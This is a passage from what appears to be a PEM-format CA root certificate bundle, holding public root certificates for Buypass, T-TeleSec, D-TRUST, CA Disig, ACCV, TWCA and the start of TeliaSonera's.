4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo
2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz
lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem
OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9
vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg==
-----END CERTIFICATE-----

Buypass Class 2 Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X
DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1
g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn
9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b
/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU
CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff
awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI
zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn
Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX
Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs
M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI
osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S
aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd
DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD
LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0
oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC
wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS
CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN
rJgWVqA=
-----END CERTIFICATE-----

Buypass Class 3 Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X
DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH
sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR
5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh
7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ
ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH
2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV
/afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ
RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA
Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq
j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G
uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG
Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8
ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2
KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz
6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug
UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe
eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi
Cp/HuZc=
-----END CERTIFICATE-----

T-TeleSec GlobalRoot Class 3
============================
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx
MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK
9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU
NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF
iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W
0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr
AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb
fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT
ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h
P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw==
-----END CERTIFICATE-----

D-TRUST Root Class 3 CA 2 2009
==============================
-----BEGIN CERTIFICATE-----
MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe
Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE
LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD
ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA
BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv
KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z
p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC
AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ
4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y
eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw
MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G
PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw
OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm
2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0
o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV
dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph
X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I=
-----END CERTIFICATE-----

D-TRUST Root Class 3 CA 2 EV 2009
=================================
-----BEGIN CERTIFICATE-----
MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS
egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh
zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T
7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60
sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35
11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv
cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v
ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El
MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp
b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh
c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+
PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05
nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX
ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA
NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv
w9y4AyHqnxbxLFS1
-----END CERTIFICATE-----

CA Disig Root R2
================
-----BEGIN CERTIFICATE-----
MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw
EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp
ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx
EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp
c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC
w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia
xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7
A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S
GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV
g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa
5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE
koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A
Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i
Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV
HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u
Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM
tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV
sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je
dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8
1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx
mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01
utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0
sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg
UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV
7+ZtsH8tZ/3zbBt1RqPlShfppNcL
-----END CERTIFICATE-----

ACCVRAIZ1
=========
-----BEGIN CERTIFICATE-----
MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB
SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1
MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH
UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM
jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0
RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD
aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ
0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG
WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7
8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR
5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J
9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK
Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw
Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu
Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM
Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA
QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh
AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA
YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj
AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA
IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk
aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0
dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2
MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI
hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E
R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN
YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49
nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ
TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3
sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg
Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd
3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p
EfbRD0tVNEYqi4Y7
-----END CERTIFICATE-----

TWCA Global Root CA
===================
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT
CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD
QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK
EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg
Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C
nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV
r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR
Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV
tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W
KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99
sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p
yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn
kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI
zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g
cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn
LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M
8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg
/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg
lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP
A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m
i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8
EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3
zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0=
-----END CERTIFICATE-----

TeliaSonera Root CA v1
======================
-----BEGIN CERTIFICATE-----
MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAwNzEUMBIGA1UE
CgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJvb3QgQ0EgdjEwHhcNMDcxMDE4
MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYDVQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwW
VGVsaWFTb25lcmEgUm9vdCBDQSB2MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+
6yfwIaPzaSZVfp3FVRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA
